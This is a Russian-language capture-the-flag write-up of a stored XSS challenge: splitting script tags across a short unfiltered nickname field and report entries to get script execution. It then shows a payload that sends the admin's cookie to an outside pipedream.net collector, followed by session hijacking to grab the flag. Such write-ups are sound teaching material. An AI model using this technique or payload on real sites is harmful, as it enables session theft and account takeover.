Заходим на сайт, смотрим сурс код, там ничего интересного. Регаем аккаунт и логинимся. Есть вкладка Dashboard, там можно оставлять заметки. Путём проб и ошибок вычисляю, что потенциально опасные символы преобразуются в HTML Entities:
Также выясняю, что, когда отправляешь репорт создаётся раздел, где хранится этот репорт, по принципу: /report/n, где n номер репорта. А в этом разделе отображается текущий репорт и ещё 2 прошлых. И там же есть кнопка Send Report to Admin. Очевидно будем воровать куки. Но как это сделать, если ввод так фильтруется? Во вкладке Dashboard, помимо отправки репорта есть кнопка смены никнеймы. Пробую вставить пейлоад туда, но он ограничен 10 символами, поэтому пробую вставить открывающий и закрывающий тег, обновляю никнейм и отправляю рандомный репорт. В ответе вижу, что эти символы в части никнейма не фильтруются. Очень долго думая, как это реализовать, прихожу к выводу, что нужно взаимодействовать с полем, где отображаются прошлые репорты. Сейчас объясню на картинке:
Я поменял ник на nick1, и отправил репорт содержащий report1, и так проделал ещё 2 раза, соответственно меняя цифру. Как видно, nick3 -> report3 это последний сделанный репорт. И он записывается отдельно в теге <p></p>. Также видно, что в конец ника дописывается закрывающий тег, а в конец репорта записывается <br/>.
Пробую поменять ник сначала на </script, а в репорт пишу что угодно, и отправляю. Теперь меняю ник на <script, а в репорте пишу alert(123);// и отправляю. Теперь меняю ник на рандомный и отправляю рандомный репорт. Бум и XSS исполнена.
Сурс код приобретает такой вид:
Теперь проделываем снова все прошлые операции, но теперь во втором репорте вставляем следующий пейлоад:
window.location=`https://engjqnfcn4nu5qg.m.pipedream.net/?v`+document.cookie;//
Не забываем, что обычные одинарная и двойная кавычка фильтруются, поэтому я использую знак гравис (там, где буква ё на клаве), чтобы указать ссылку. Также не забываем в конце два слеша, чтобы закомментировать тег <br/>. Отправляем, и ещё раз меняем ник и отправляем репорт.
Номер нашего репорта 128. Делаем запрос по /send2admin/128. Ловим токен админа. Меняем значение своего, на пойманный, и ловим админскую сессию, там заходим в репорты и забираем наш флаг =)